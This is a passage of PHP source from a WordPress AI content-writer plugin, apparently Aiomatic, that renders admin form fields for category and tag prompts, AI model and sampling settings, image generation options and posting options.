target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ) . ' </div> </div> <b>' . esc_html__("Prompt For The AI Category Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[category_ai_command][]" placeholder="Write a comma separated list of categories, for the post title: %%post_title%%" class="cr_width_full">' . esc_textarea($category_ai_command) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the post category that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Additional Post Category", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select multiple class="cr_width_full" id="default_category" name="aiomatic_rules_list[default_category' . esc_html($cont) . '][]" onmouseover="this.size=this.length;" onmouseout="this.size=4;"> <option value="aiomatic_no_category_12345678"'; if(!is_array($default_category)) { $default_category = array($default_category); } if(count($default_category) == 1) { foreach($default_category as $dc) { if ("aiomatic_no_category_12345678" == $dc) { $output .= ' selected'; break; } } } $output .= '>' . esc_html__("Do Not Add a Category", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach ($categories as $category) { $output .= '<option value="' . esc_attr($category->term_id) . '"'; foreach($default_category as $dc) { if ($category->term_id == $dc) { $output .= ' selected'; break; } } $output .= '>' . sanitize_text_field($category->name) . ' - ID ' . esc_html($category->term_id) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This feature will try to remove the WordPress\'s default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Remove WP Default Post Category", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="remove_default" name="aiomatic_rules_list[remove_default][]"'; if($remove_default == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This option will make the plugin not create categories which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of categories from where the AI should select.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Add Inexistent Categories", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_inexist" name="aiomatic_rules_list[skip_inexist][]"'; if($skip_inexist == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Post Tag Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to automatically add post tags from the feed items?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Add Tags", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="auto_tags" name="aiomatic_rules_list[auto_tags][]"> <option value="disabled"'; if ($auto_tags == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="ai"'; if ($auto_tags == 'ai') { $output .= ' selected'; } $output .= '>' . esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="title"'; if ($auto_tags == 'title') { $output .= ' selected'; } $output .= '>' . esc_html__("Title", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="content"'; if ($auto_tags == 'content') { $output .= ' selected'; } $output .= '>' . esc_html__("Content", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="both"'; if ($auto_tags == 'both') { $output .= ' selected'; } $output .= '>' . esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the tag generator. You can add this to the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For The Post Tag Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_rules_list[tag_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($tag_model)) { $tag_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($tag_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to AI tag generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ) . ' </div> </div> <b>' . esc_html__("Prompt For The AI Post Tag Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[tag_ai_command][]" placeholder="Write a comma separated list of tags, for the post title: %%post_title%%" class="cr_width_full">' . esc_textarea($tag_ai_command) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the post tags that you want for the automatically generated posts to have. Spintax supported.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Additional Post Tags", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input class="cr_width_full" type="text" name="aiomatic_rules_list[default_tags][]" value="' . esc_attr($default_tags) . '" placeholder="Please insert your additional post tags here" > </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Advanced AI Text Generator Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Total Token Count To Use Per API Request", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="1" max="128000" name="aiomatic_rules_list[max_tokens][]" value="' . esc_attr($max_tokens) . '" placeholder="32768" class="cr_width_full"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Prompt Token Count To Use Per API Request", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="1" max="128000" name="aiomatic_rules_list[max_seed_tokens][]" value="' . esc_attr($max_seed_tokens) . '" placeholder="1000" class="cr_width_full"> </div> </td></tr><tr class="hidetitle' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 500.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Continue Token Count To Use Per API Request", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="1" max="128000" name="aiomatic_rules_list[max_continue_tokens][]" value="' . esc_attr($max_continue_tokens) . '" placeholder="500" class="cr_width_full"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Temperature", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" step="0.01" max="2" name="aiomatic_rules_list[temperature][]" value="' . esc_attr($temperature) . '" placeholder="1" class="cr_width_full"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Top_p", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" step="0.01" max="1" name="aiomatic_rules_list[top_p][]" value="' . esc_attr($top_p) . '" placeholder="1" class="cr_width_full"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Presence Penalty", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="-2" max="2" step="0.01" name="aiomatic_rules_list[presence_penalty][]" value="' . esc_attr($presence_penalty) . '" placeholder="0" class="cr_width_full"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Frequency Penalty", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="-2" step="0.01" max="2" name="aiomatic_rules_list[frequency_penalty][]" value="' . esc_attr($frequency_penalty) . '" placeholder="0" class="cr_width_full"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Image Generator Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to set a featured image for the created post (royalty free or AI generated)? Please note that for this feature to function you must configure the plugin (add API keys) in the plugin\'s \'Settings\' menu -> \'Royalty Free Featured Image Importing Options\' section.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Set A Featured Image For Posts (Select Source Below)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="royalty_free" name="aiomatic_rules_list[royalty_free][]"'; if ($royalty_free == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Search Query Repetition", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" name="aiomatic_rules_list[search_query_repetition][]" class="cr_width_full"> <option value="0"'; if ($search_query_repetition == '0') { $output .= ' selected'; } $output .= '>' . esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1"'; if ($search_query_repetition == '1') { $output .= ' selected'; } $output .= '>' . esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Image Source", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select id="enable_ai_images' . esc_html($cont) . '" onchange="hideImage(' . esc_html($cont) . ');" autocomplete="off" name="aiomatic_rules_list[enable_ai_images][]" class="cr_width_full"> <option value="0"'; if ($enable_ai_images == '0') { $output .= ' selected'; } $output .= '>' . esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1"'; if ($enable_ai_images == '1') { $output .= ' selected'; } $output .= '>' . esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="2"'; if ($enable_ai_images == '2') { $output .= ' selected'; } $output .= '>' . esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="4"'; if ($enable_ai_images == '4') { $output .= ' selected'; } $output .= '>' . esc_html__("Midjourney", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="3"'; if ($enable_ai_images == '3') { $output .= ' selected'; } $output .= '>' . esc_html__("Manual URL List", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hideImg' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%topic%%, %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ) . ' </div> </div> <b>' . esc_html__("Prompt For The AI Image Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[ai_command_image][]" placeholder="Please insert a command for the AI image generator" class="cr_width_full">' . esc_textarea($ai_command_image) . '</textarea> </div> </td></tr> <tr class="hideDalle' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Image Model", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_rules_list[image_model][]" class="cr_width_full"> <option value="dalle2"'; if ($image_model == 'dalle2') { $output .= ' selected'; } $output .= '>' . esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="dalle3"'; if ($image_model == 'dalle3') { $output .= ' selected'; } $output .= '>' . esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="dalle3hd"'; if ($image_model == 'dalle3hd') { $output .= ' selected'; } $output .= '>' . esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hideImg' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Generated Image Size", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_rules_list[image_size][]" class="cr_width_full"> <option value="256x256"'; if ($image_size == '256x256') { $output .= ' selected'; } $output .= '>' . esc_html__("256x256 (only for Dall-E 2)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="512x512"'; if ($image_size == '512x512') { $output .= ' selected'; } $output .= '>' . esc_html__("512x512 (only for Dall-E 2 & Stable Diffusion)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1024x1024"'; if ($image_size == '1024x1024') { $output .= ' selected'; } $output .= '>' . esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1792x1024"'; if ($image_size == '1792x1024') { $output .= ' selected'; } $output .= '>' . esc_html__("1792x1024 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1024x1792"'; if ($image_size == '1024x1792') { $output .= ' selected'; } $output .= '>' . esc_html__("1024x1792 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Insert a comma separated list of links to valid images that will be set randomly for the featured image for the posts that do not have a valid image attached or if you disabled automatical featured image generator. You can also use image numeric IDs from images found in the Media Gallery. To disable this feature, leave this field blank. Spintax supported. You can also use the %%random_image[keyword]%% shortcode to automatically import a random image from Google Image Search with the Creative Commons filter applied. To get a related image, you can also use: %%random_image[%%post_title%%]%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Default Featured Image List", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_rules_list[image_url][]" placeholder="Please insert the link to a valid image (spintax supported)">' . esc_textarea($image_url) . '</textarea> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Posting Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("HTML Text To Prepend To AI Created Content", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[post_prepend][]" placeholder="HTML content to prepend to the AI generated content" class="cr_width_full">' . esc_textarea($post_prepend) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a HTML text that should be append to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("HTML Text To Append To AI Created Content", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[post_append][]" placeholder="HTML content to append to the AI generated content" class="cr_width_full">' . esc_textarea($post_append) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Custom Shortcode Creator (Optional)", 'aiomatic-automatic-ai-content-writer') . ':</b><span class="tool" data-tip="Supported models: ' . implode(',', aiomatic_get_all_models()) . '"> ⓘ</span> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[custom_shortcodes][]" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="cr_width_full">' . esc_textarea($custom_shortcodes) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Strip Title From Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="strip_title" name="aiomatic_rules_list[strip_title][]"'; if($strip_title == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Spin Posts Generated By This Rule", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_spin" name="aiomatic_rules_list[skip_spin][]"'; if($skip_spin == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Translate Posts Generated By This Rule", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_translate" name="aiomatic_rules_list[skip_translate][]"'; if($skip_translate == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to process each title from the added list only once.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Process Each Title/Topic Only Once", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="title_once" name="aiomatic_rules_list[title_once][]"'; if($title_once == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to overwrite existing posts during the publishing process.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Overwrite Existing Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="overwrite_existing" name="aiomatic_rules_list[overwrite_existing][]"'; if($overwrite_existing == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Regex On Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_rules_list[strip_by_regex][]" placeholder="regex" class="cr_width_full">' . esc_textarea($strip_by_regex) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Replace Matches From Regex (Content)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_rules_list[replace_regex][]" placeholder="regex replacement" class="cr_width_full">' . esc_textarea($replace_regex) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the author that you want to assign for the automatically generated posts.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Author", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="post_author" name="aiomatic_rules_list[post_author][]" class="cr_width_full">'; $output .= '<option value="rand"'; if ($post_user_name == "rand") { $output .= " selected"; } $output .= '>' . esc_html__("Random user", 